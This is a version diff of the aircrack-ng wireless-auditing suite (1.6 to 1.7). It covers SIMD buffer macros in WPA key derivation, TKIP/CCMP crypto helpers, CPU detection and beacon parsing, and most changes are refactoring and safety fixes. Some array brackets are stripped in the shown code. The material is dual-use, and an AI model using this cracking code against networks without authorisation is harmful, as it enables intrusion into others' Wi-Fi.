+			i2BUF_OFFSET_OF(MMX_COEF, 5, j, 3) = ctx_opadj.h3;
+			i2BUF_OFFSET_OF(MMX_COEF, 5, j, 4) = ctx_opadj.h4;
 #endif
 
 			essidslen - 1 = 1;
@@ -282,47 +252,31 @@
 			SHA1_Update(&sha1_ctx, outbufj.c, SHA_DIGEST_LENGTH);
 			SHA1_Final(outbufj.c, &sha1_ctx);
 
-// now convert this from flat into MMX_COEF buffers.   (same as the memcpy()
-// commented out in the last line)
-// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
-// format
-// so we will need to 'undo' that in the end.
+// now convert this from flat into COEF buffers. Also, perform the
+// 'first' ^= into the crypt buffer.  We are doing that in BE
+// format so we will need to 'undo' that in the end.
 #ifdef SIMD_CORE
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32
-				= outbufj.i0 = sha1_ctx.h0;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32
-				= outbufj.i1 = sha1_ctx.h1;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32
-				= outbufj.i2 = sha1_ctx.h2;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32
-				= outbufj.i3 = sha1_ctx.h3;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32
-				= outbufj.i4 = sha1_ctx.h4;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 0) = outbufj.i0
+				= sha1_ctx.h0;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 1) = outbufj.i1
+				= sha1_ctx.h1;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 2) = outbufj.i2
+				= sha1_ctx.h2;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 3) = outbufj.i3
+				= sha1_ctx.h3;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 4) = outbufj.i4
+				= sha1_ctx.h4;
 #else
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-				= outbufj.i0 = sha1_ctx.h0;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF
-				= outbufj.i1 = sha1_ctx.h1;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)
-				= outbufj.i2 = sha1_ctx.h2;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3
-				= outbufj.i3 = sha1_ctx.h3;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)
-				= outbufj.i4 = sha1_ctx.h4;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 0) = outbufj.i0
+				= sha1_ctx.h0;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 1) = outbufj.i1
+				= sha1_ctx.h1;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 2) = outbufj.i2
+				= sha1_ctx.h2;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 3) = outbufj.i3
+				= sha1_ctx.h3;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 4) = outbufj.i4
+				= sha1_ctx.h4;
 #endif
 		}
 
@@ -340,18 +294,10 @@
 			for (j = 0; j < NBKEYS; j++)
 			{
 #ifdef SIMD_CORE
-				uint32_t * p
-					= &((uint32_t *)
-							t_sse_hash1)(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
-										  * SIMD_COEF_32)
-										 + (j & (SIMD_COEF_32 - 1));
-				UNROLL_LOOP_N_TIME(5)
+				uint32_t * p = SSE_HASH1_PTR_OF(j);
 				for (k = 0; k < 5; k++) outbufj.ik ^= p(k * SIMD_COEF_32);
 #else
-				uint32_t * p = &((
-					uint32_t *) t_sse_hash1)(((j >> 2) * SHA_BUF_SIZ) << 2)
-												 + (j & (MMX_COEF - 1));
-				UNROLL_LOOP_N_TIME(5)
+				uint32_t * p = MMX_HASH1_PTR_OF(j);
 				for (k = 0; k < 5; k++)
 					outbufj.ik ^= p(k << (MMX_COEF >> 1));
 #endif
@@ -370,48 +316,28 @@
 			SHA1_Update(&sha1_ctx, &outbufj.c20, 20);
 			SHA1_Final(&outbufj.c20, &sha1_ctx);
 
-// now convert this from flat into MMX_COEF buffers.  (same as the memcpy()
-// commented out in the last line)
-// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
-// format
-// so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block
-// outbuf are worked with).
+// now convert this from flat into COEF buffers. Also, perform the
+// 'first' ^= into the crypt buffer.  We are doing that in BE
+// format so we will need to 'undo' that in the end.
+// (only 3 dwords of the 2nd block outbuf are worked with).
 #ifdef SIMD_CORE
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32
-				= outbufj.i5 = sha1_ctx.h0;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32
-				= outbufj.i6 = sha1_ctx.h1;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32
-				= outbufj.i7 = sha1_ctx.h2;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32
-				= sha1_ctx.h3;
-			o1(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32
-				= sha1_ctx.h4;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 0) = outbufj.i5
+				= sha1_ctx.h0;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 1) = outbufj.i6
+				= sha1_ctx.h1;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 2) = outbufj.i7
+				= sha1_ctx.h2;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 3) = sha1_ctx.h3;
+			o1BUF_OFFSET_OF(SIMD_COEF_32, SHA_BUF_SIZ, j, 4) = sha1_ctx.h4;
 #else
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-				= outbufj.i5 = sha1_ctx.h0;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF
-				= outbufj.i6 = sha1_ctx.h1;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)
-				= outbufj.i7 = sha1_ctx.h2;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3
-				= sha1_ctx.h3;
-			o1(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)
-				= sha1_ctx.h4;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 0) = outbufj.i5
+				= sha1_ctx.h0;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 1) = outbufj.i6
+				= sha1_ctx.h1;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 2) = outbufj.i7
+				= sha1_ctx.h2;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 3) = sha1_ctx.h3;
+			o1BUF_OFFSET_OF(MMX_COEF, SHA_BUF_SIZ, j, 4) = sha1_ctx.h4;
 #endif
 		}
 		for (i = 1; i < 4096; i++)
@@ -427,19 +353,11 @@
 			for (j = 0; j < NBKEYS; j++)
 			{
 #ifdef SIMD_CORE
-				uint32_t * p
-					= &((uint32_t *)
-							t_sse_hash1)(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
-										  * SIMD_COEF_32)
-										 + (j & (SIMD_COEF_32 - 1));
-				UNROLL_LOOP_N_TIME(4)
+				uint32_t * p = SSE_HASH1_PTR_OF(j);
 				for (k = 5; k < 8; k++)
 					outbufj.ik ^= p((k - 5) * SIMD_COEF_32);
 #else
-				uint32_t * p = &((
-					uint32_t *) t_sse_hash1)(((j >> 2) * SHA_BUF_SIZ) << 2)
-												 + (j & (MMX_COEF - 1));
-				UNROLL_LOOP_N_TIME(4)
+				uint32_t * p = MMX_HASH1_PTR_OF(j);
 				for (k = 5; k < 8; k++)
 					outbufj.ik ^= p((k - 5) << (MMX_COEF >> 1));
 #endif

aircrack-ng-1.6.tar.gz/lib/crypto/crypto.c -> aircrack-ng-1.7.tar.gz/lib/crypto/crypto.c Changed

@@ -83,6 +83,7 @@
 {
 	RC4_KEY S;
 
+	memset(&S, 0, sizeof(S));
 	RC4_set_key(&S, keylen, key);
 	RC4(&S, (size_t) len, data, data);
 
@@ -99,7 +100,7 @@
 
 /* derive the PMK from the passphrase and the essid */
 
-void calc_pmk(char * key, char * essid_pre, unsigned char pmk40)
+void calc_pmk(char * key, char * essid_pre, unsigned char pmkstatic 40)
 {
 	REQUIRE(key != NULL);
 	REQUIRE(essid_pre != NULL);
@@ -186,16 +187,16 @@
 }
 
 void calc_mic(struct AP_info * ap,
-			  unsigned char pmk32,
-			  unsigned char ptk80,
-			  unsigned char mic20)
+			  unsigned char pmkstatic 32,
+			  unsigned char ptkstatic 80,
+			  unsigned char micstatic 20)
 {
 	REQUIRE(ap != NULL);
 
 	int i;
 	unsigned char pke100;
 #if defined(USE_GCRYPT) || OPENSSL_VERSION_NUMBER < 0x10100000L                \
-	|| defined(LIBRESSL_VERSION_NUMBER)
+	|| (defined(LIBRESSL_VERSION_NUMBER) && LIBRESSL_VERSION_NUMBER < 0x30500000L)
 #define HMAC_USE_NO_PTR
 #endif
 
@@ -571,12 +572,12 @@
 				 * bruteforce it later
 		 */
 		// ID=0
-		len = 2;
+		/*  len = 2; */
 		memcpy(ptr, "\x00\x00", len);
 		ptr += len;
 
 		// ip flags=don't fragment
-		len = 2;
+		/* len = 2; */
 		memcpy(ptr, "\x40\x00", len);
 		ptr += len;
 
@@ -597,7 +598,7 @@
 
 /* derive the pairwise transcient keys from a bunch of stuff */
 
-int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk32)
+int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmkstatic 32)
 {
 	REQUIRE(wpa != NULL);
 
@@ -645,7 +646,7 @@
 	return (memcmp(mic, wpa->keymic, 16) == 0); //-V512
 }
 
-static int init_michael(struct Michael * mic, const unsigned char key8)
+static int init_michael(struct Michael * mic, const unsigned char keystatic 8)
 {
 	REQUIRE(mic != NULL);
 
@@ -692,7 +693,7 @@
 }
 
 static int michael_remove_byte(struct Michael * mic,
-							   const unsigned char bytes4)
+							   const unsigned char bytesstatic 4)
 {
 	REQUIRE(mic != NULL);
 
@@ -797,10 +798,10 @@
 	return (0);
 }
 
-int michael_test(unsigned char key8,
+int michael_test(unsigned char keystatic 8,
 				 unsigned char * message,
 				 int length,
-				 unsigned char out8)
+				 unsigned char outstatic 8)
 {
 	int i = 0;
 	struct Michael mic0;
@@ -848,7 +849,9 @@
 	return (memcmp(mic.mic, out, 8) == 0);
 }
 
-int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key8)
+int calc_tkip_mic_key(unsigned char * packet,
+					  int length,
+					  unsigned char keystatic 8)
 {
 	REQUIRE(packet != NULL);
 
@@ -939,8 +942,8 @@
 
 int calc_tkip_mic(unsigned char * packet,
 				  int length,
-				  unsigned char ptk80,
-				  unsigned char value8)
+				  unsigned char ptkstatic 80,
+				  unsigned char valuestatic 8)
 {
 	REQUIRE(packet != NULL);
 
@@ -1082,8 +1085,8 @@
 
 int calc_tkip_ppk(unsigned char * h80211,
 				  int caplen,
-				  unsigned char TK116,
-				  unsigned char key16)
+				  unsigned char TK1static 16,
+				  unsigned char keystatic 16)
 {
 	UNUSED_PARAM(caplen);
 	REQUIRE(h80211 != NULL);
@@ -1150,8 +1153,8 @@
 
 static int calc_tkip_mic_skip_eiv(unsigned char * packet,
 								  int length,
-								  unsigned char ptk80,
-								  unsigned char value8)
+								  unsigned char ptkstatic 80,
+								  unsigned char valuestatic 8)
 {
 	REQUIRE(packet != NULL);
 
@@ -1220,7 +1223,9 @@
 	return (0);
 }
 
-void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char ptk80)
+void encrypt_tkip(unsigned char * h80211,
+				  int caplen,
+				  unsigned char ptkstatic 80)
 {
 	REQUIRE(h80211 != NULL);
 
@@ -1255,7 +1260,9 @@
 	decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16);
 }
 
-int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK116)
+int decrypt_tkip(unsigned char * h80211,
+				 int caplen,
+				 unsigned char TK1static 16)
 {
 	REQUIRE(h80211 != NULL);
 
@@ -1303,8 +1310,8 @@
 // caplen is the combined length of the 802.11 header and data, not the FCS!
 int encrypt_ccmp(unsigned char * h80211,
 				 int caplen,
-				 unsigned char TK116,
-				 unsigned char PN6)
+				 unsigned char TK1static 16,
+				 unsigned char PNstatic 6)
 {
 	REQUIRE(h80211 != NULL);
 
@@ -1314,6 +1321,8 @@
 	unsigned char AAD32;
 	AES_KEY aes_ctx;
 
+	memset(&aes_ctx, 0, sizeof(aes_ctx));
+
 	is_a4 = (h802111 & 3) == 3;
 	is_qos = (h802110 & 0x8C) == 0x88;
 	z = 24 + 6 * is_a4;
@@ -1438,7 +1447,9 @@
 	return (z + 8 + data_len + 8);
 }
 
-int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK116)
+int decrypt_ccmp(unsigned char * h80211,
+				 int caplen,
+				 unsigned char TK1static 16)
 {
 	REQUIRE(h80211 != NULL);
 
@@ -1448,6 +1459,8 @@
 	unsigned char PN6, AAD32;
 	AES_KEY aes_ctx;
 
+	memset(&aes_ctx, 0, sizeof(aes_ctx));
+
 	is_a4 = (h802111 & 3) == 3;
 	is_qos = (h802110 & 0x8C) == 0x88;
 	z = 24 + 6 * is_a4;

aircrack-ng-1.6.tar.gz/lib/crypto/sha1-git.c -> aircrack-ng-1.7.tar.gz/lib/crypto/sha1-git.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/adt/avl_tree.c -> aircrack-ng-1.7.tar.gz/lib/libac/adt/avl_tree.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/adt/circular_buffer.c -> aircrack-ng-1.7.tar.gz/lib/libac/adt/circular_buffer.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/adt/circular_queue.c -> aircrack-ng-1.7.tar.gz/lib/libac/adt/circular_queue.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/cpu/cpuset_hwloc.c -> aircrack-ng-1.7.tar.gz/lib/libac/cpu/cpuset_hwloc.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/cpu/cpuset_pthread.c -> aircrack-ng-1.7.tar.gz/lib/libac/cpu/cpuset_pthread.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/cpu/simd_cpuid.c -> aircrack-ng-1.7.tar.gz/lib/libac/cpu/simd_cpuid.c Changed

@@ -75,12 +75,14 @@
 	return (val & mask) >> from;
 }
 
-static void sprintcat(char * dest, const char * src, size_t len)
+#if defined(_X86) || defined(__arm__) || defined(__aarch64__)
+static void sprintcat(char * restrict dest, const char * restrict src, size_t len)
 {
-	if (strlen(dest) > 0) (void) strncat(dest, ",", len - strlen(dest) - 1);
+	if (*dest != '\0') (void) strncat(dest, ",", len - strlen(dest) - 1);
 
 	(void) strncat(dest, src, len - strlen(dest) - 1);
 }
+#endif
 
 int is_dir(const char * dir)
 {
@@ -142,6 +144,8 @@
 	if (hwcaps & (1 << 1)) // ASIMD
 		return 4;
 #endif
+#elif defined(__aarch64__) && !defined(HAS_AUXV)
+	return 4; // ASIMD is required on AARCH64
 #endif
 	(void) viewmax;
 
@@ -271,6 +275,8 @@
 	if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18)))
 		sprintcat((char *) &flags, "IDIV", sizeof(flags));
 #endif
+#elif defined(__aarch64__) && !defined(HAS_AUXV)
+	sprintcat((char *) &flags, "ASIMD", sizeof(flags));
 #endif
 	return strdup(flags);
 }
@@ -334,8 +340,7 @@
 		}
 		else if (!strncmp(dp->d_name, "temp", 4))
 		{
-			strncpy(tbufcnt, dp->d_name, 31);
-			tbufcnt31 = '\0'; // ensure NULL termination
+			ALLEGE(strlcpy(tbufcnt, dp->d_name, 32) < 32);
 			if (cnt < (MAX_SENSOR_PATHS - 1)) ++cnt; //-V547
 		}
 	}
@@ -370,16 +375,13 @@
 static int cpuid_readsysfs(const char * file)
 {
 	int fd, ival = 0;
-	struct stat sf;
 	char buf16 = {0};
 
-	if (stat(file, &sf)) return -1;
-
 	fd = open(file, O_RDONLY);
 
 	if (fd == -1) return -1;
 
-	if (read(fd, &buf, sizeof(buf)))
+	if (read(fd, &buf, sizeof(buf)) > 0)
 	{
 		ival = atoi(buf);
 	}
@@ -395,18 +397,15 @@
 static int cpuid_getfreq(int type)
 {
 	int fd, ifreq = 0;
-	struct stat sf;
 	char freq16 = {0}, *fptr;
 
 	fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M);
 
-	if (stat(fptr, &sf)) return 0;
-
 	fd = open(fptr, O_RDONLY);
 
 	if (fd == -1) return 0;
 
-	if (read(fd, &freq, sizeof(freq))) ifreq = atoi(freq) / 1000;
+	if (read(fd, &freq, sizeof(freq)) > 0) ifreq = atoi(freq) / 1000;
 
 	close(fd);
 
@@ -491,6 +490,8 @@
 		snprintf(modelbuf, sizeof(modelbuf), "Unknown");
 
 	pm = modelbuf;
+#elif defined(__APPLE__) && defined(__aarch64__)
+	pm = "Apple M1";
 #endif
 
 	// Clean up the empty spaces in the model name on some intel's because they
@@ -712,7 +713,7 @@
 	printf("Logical CPUs    = %d\n", cpuinfo.maxlogic);
 
 #ifdef _X86
-	printf("Threads per core= %d\n", cpuid_x86_threads_per_core());
+	printf("Threads per core= %u\n", cpuid_x86_threads_per_core());
 #endif
 
 	if (cpuinfo.cores > 0)

aircrack-ng-1.6.tar.gz/lib/libac/cpu/trampoline_arm.c -> aircrack-ng-1.7.tar.gz/lib/libac/cpu/trampoline_arm.c Changed

aircrack-ng-1.6.tar.gz/lib/libac/support/common.c -> aircrack-ng-1.7.tar.gz/lib/libac/support/common.c Changed

@@ -36,6 +36,8 @@
 #include "config.h"
 #endif
 
+#define _GNU_SOURCE
+#include <err.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -252,39 +254,44 @@
 	{
 		len += strlen(rev);
 	}
-	char * ret = (char *) calloc(1, len);
-	if (ret == NULL)
-	{
-		perror("calloc()");
-		exit(1);
-	}
+	char *ret = NULL, *tmp = NULL;
 
 	// Major, minor version
-	snprintf(ret, len, "%s %u.%u", progname, maj, min);
+	int res = asprintf(&ret, "%s %u.%u", progname, maj, min);
+	if (res < 0) errx(EXIT_FAILURE, "asprintf failed to allocate");
 
 	// Sub-minor
 	if (submin > 0)
 	{
-		snprintf(ret + strlen(ret), len - strlen(ret), ".%u", submin);
+		res = asprintf(&tmp, "%s.%u", ret, submin);
+		if (res < 0) errx(EXIT_FAILURE, "asprintf failed to allocate");
+		free(ret); // free previous
+		ret = tmp; // keep new
 	}
 
 	// Release candidate ...
 	if (rc > 0)
 	{
-		snprintf(ret + strlen(ret), len - strlen(ret), " rc%u", rc);
+		res = asprintf(&tmp, "%s rc%u", ret, rc);
+		if (res < 0) errx(EXIT_FAILURE, "asprintf failed to allocate");
+		free(ret); // free previous
+		ret = tmp; // keep new
 	}
 	else if (beta > 0)
 	{ // ... Or beta
-		snprintf(ret + strlen(ret), len - strlen(ret), " beta%u", beta);
+		res = asprintf(&tmp, "%s beta%u", ret, beta);
+		if (res < 0) errx(EXIT_FAILURE, "asprintf failed to allocate");
+		free(ret); // free previous
+		ret = tmp; // keep new
 	}
 
 	// Add revision if it comes from subversion or git
 	if (rev)
 	{
-		char * tmp = strdup(rev);
-		ALLEGE(tmp != NULL);
+		char * rev_tmp = strdup(rev);
+		ALLEGE(rev_tmp != NULL);
 
-		char * sep = strstr(tmp, "_");
+		char * sep = strchr(rev_tmp, '_');
 		if (sep)
 		{
 			++sep;
@@ -300,14 +307,14 @@
 			search3 = ' ';
 		}
 
-		snprintf(
-			ret + strlen(ret), len - strlen(ret), " %s", search ? search : sep);
-		free(tmp);
+		res = asprintf(&tmp, "%s %s", ret, search ? search : sep);
+		if (res < 0) errx(EXIT_FAILURE, "asprintf failed to allocate");
+		free(ret); // free previous
+		ret = tmp; // keep new
+		free(rev_tmp); // free buffer modified for display to end-user
 	}
 
-	// Shorten buffer if possible
-	char * r_ret = realloc(ret, strlen(ret) + 1);
-	return (r_ret) ? r_ret : ret;
+	return (ret);
 }
 
 // Return the number of cpu. If detection fails, it will return -1;
@@ -347,7 +354,12 @@
 				{
 					pos = strchr(s, ':');
 
-					if (pos != NULL) number = atoi(pos + 1);
+					if (pos != NULL)
+					{
+						int tmp_number = atoi(pos + 1);
+						if (tmp_number > 0 && tmp_number <= 1024)
+							number = tmp_number;
+					}
 				}
 			}

aircrack-ng-1.6.tar.gz/lib/libac/support/communications.c -> aircrack-ng-1.7.tar.gz/lib/libac/support/communications.c Changed

@@ -87,24 +87,114 @@
 	return (rc);
 }
 
+/* A beacon-frame contains a lot of data ordered like this:
+ * <tag (1 byte)><length(1 byte)><data (length bytes)><tag><length><data>.....
+ * This functions tries to find a specific tag
+ */
+static int get_tagged_data(uint8_t * beacon_pkt,
+						   size_t pkt_len,
+						   uint8_t tag,
+						   uint8_t * tag_len, /* Receives length of the data */
+						   uint8_t ** tag_data) /* Receives pointer to data */
+{
+	size_t pos;
+	size_t
+		taglen; /* Length of tag-data. Does not include the two-byte tag-header */
+	uint8_t tagtype;
+
+	if (beacon_pkt0 != 0x80) return -1;
+
+	pos = 0;
+	taglen = 22; /* First 22 bytes contains standard stuff like SRC+DST */
+	taglen += 12; /* The fixed tags are 12 bytes long */
+	do
+	{
+		pos += taglen + 2;
+		tagtype = beacon_pktpos;
+		taglen = beacon_pktpos + 1;
+	} while (tagtype != tag && pos < pkt_len - 2);
+
+	if (tagtype != tag)
+	{
+		/* Tag not found */
+		return -1;
+	}
+
+	if (pos + 2 + taglen > pkt_len)
+	{
+		/* Malformed packet? */
+		return -1;
+	}
+
+	if (tag_data != NULL)
+	{
+		*tag_data = &beacon_pktpos + 2;
+	}
+
+	if (tag_len != NULL)
+	{
+		*tag_len = taglen;
+	}
+
+	return 0;
+}
+
+int get_channel(uint8_t * beacon_pkt, size_t pkt_len)
+{
+	uint8_t * ch;
+	uint8_t * ht_info;
+	uint8_t tag_len;
+
+	/* Look for the standard tag */
+	if (get_tagged_data(beacon_pkt, pkt_len, MGNT_PAR_CHANNEL, &tag_len, &ch)
+		== 0)
+	{
+		if (tag_len >= 1)
+		{
+			return *ch;
+		}
+	}
+
+	/* Tag not found, look for the HT information tag used by 11n devices*/
+	if (get_tagged_data(
+			beacon_pkt, pkt_len, MGNT_PAR_HT_INFO, &tag_len, &ht_info))
+	{
+		/* tag not found... */
+		return -1;
+	}
+
+	if (tag_len < 1)
+	{
+		/* Malformed packet? */
+		return -1;
+	}
+
+	/* Main channel is first in HT info */
+	return ht_info0;
+}
+
 int wait_for_beacon(struct wif * wi,
 					uint8_t * bssid,
 					uint8_t * capa,
 					char * essid)
 {
-	int chan = 0, tagtype = 0;
-	size_t taglen = 0, pos = 0, len = 0;
-	uint8_t pkt_sniff4096;
+	int chan = 0;
+	size_t len = 0;
+	ssize_t read_len = 0;
+	uint8_t taglen = 0;
+	uint8_t pkt_sniff4096 __attribute__((aligned(16))) = {0};
 	struct timeval tv, tv2;
 	char essid233;
+	uint8_t * data = NULL;
 
 	gettimeofday(&tv, NULL);
 	while (1)
 	{
-		len = 0;
-		while (len < 22)
+		read_len = len = 0;
+
+		while (read_len < 22)
 		{
-			len = (size_t) read_packet(wi, pkt_sniff, sizeof(pkt_sniff), NULL);
+			read_len = read_packet(wi, pkt_sniff, sizeof(pkt_sniff), NULL);
 
 			gettimeofday(&tv2, NULL);
 			if (((tv2.tv_sec - tv.tv_sec) * 1000000)
@@ -113,122 +203,101 @@
 			{
 				return (-1);
 			}
-			if (len <= 0) usleep(1);
+
+			if (read_len <= 0) usleep(1);
 		}
 
-		if (!memcmp(pkt_sniff, "\x80", 1))
-		{
-			pos = 0;
-			taglen = 22; // initial value to get the fixed tags parsing started
-			taglen += 12; // skip fixed tags in frames
-			do
-			{
-				pos += taglen + 2;
-				tagtype = pkt_sniffpos;
-				taglen = pkt_sniffpos + 1;
-			} while (tagtype != 3 && pos < len - 2);
+		ENSURE(read_len >= 22);
+		len = (size_t) read_len;
 
-			if (tagtype != 3) continue;
-			if (taglen != 1) continue;
-			if (pos + 2 + taglen > len) continue;
+		/* Not a beacon-frame? */
+		if (pkt_sniff0 != 0x80) continue;
 
-			chan = pkt_sniffpos + 2;
+		chan = get_channel(pkt_sniff, len);
+		if (chan < 0) continue;
 
-			if (essid)
-			{
-				pos = 0;
-				taglen
-					= 22; // initial value to get the fixed tags parsing started
-				taglen += 12; // skip fixed tags in frames
-				do
-				{
-					pos += taglen + 2;
-					tagtype = pkt_sniffpos;
-					taglen = pkt_sniffpos + 1;
-				} while (tagtype != 0 && pos < len - 2);
+		if (essid == NULL) continue;
 
-				if (tagtype != 0) continue;
-				if (taglen <= 1)
-				{
-					if (bssid != NULL
-						&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
-						break;
-					else
-						continue;
-				}
-				if (pos + 2 + taglen > len) continue;
+		/* Look for ESSID (network name), tag 0 */
+		if (get_tagged_data(pkt_sniff, len, MGNT_PAR_SSID, &taglen, &data))
+			continue;
 
-				if (taglen > 32) taglen = 32;
+		if (taglen <= 1)
+		{
+			/* Empty ssid. Check only if the bssid match */
+			if (bssid != NULL
+				&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
+				break;
+			else
+				continue;
+		}
 
-				if ((pkt_sniff + pos + 2)0 < 32 && bssid != NULL
-					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
-				{
-					break;
-				}
+		/* Only use/compare the first 32 chars of an SSID */
+		if (taglen > 32) taglen = 32;
 
-				/* if bssid is given, copy essid */
-				if (bssid != NULL
-					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
-					&& strlen(essid) == 0)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					break;
-				}
+		/* Ignore SSID with weird chars */
+		if (data0 < 32 && bssid != NULL
+			&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
+		{
+			break;
+		}
 
-				/* if essid is given, copy bssid AND essid, so we can handle
-				 * case insensitive arguments */
-				if (bssid != NULL
-					&& memcmp(bssid, NULL_MAC, ETHER_ADDR_LEN) == 0
-					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
-						   == 0
-					&& strlen(essid) == (unsigned) taglen)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					memcpy(bssid, pkt_sniff + 10, ETHER_ADDR_LEN);
-					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
-						   "given ESSID \"%s\".\n",
-						   bssid0,
-						   bssid1,
-						   bssid2,
-						   bssid3,
-						   bssid4,
-						   bssid5,
-						   essid);
-					break;
-				}
+		/* if bssid is given, copy essid */
+		if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
+			&& *essid == '\0')
+		{
+			memset(essid, 0, 33);
+			memcpy(essid, data, taglen);
+			break;
+		}
 
-				/* if essid and bssid are given, check both */
-				if (bssid != NULL
-					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
-					&& strlen(essid) > 0)
-				{
-					memset(essid2, 0, 33);
-					memcpy(essid2, pkt_sniff + pos + 2, taglen);
-					if (strncasecmp(essid, essid2, taglen) == 0
-						&& strlen(essid) == (unsigned) taglen)
-						break;
-					else
-					{
-						printf("For the given BSSID "
-							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
-							   "ESSID mismatch!\n",
-							   bssid0,
-							   bssid1,
-							   bssid2,
-							   bssid3,
-							   bssid4,
-							   bssid5);
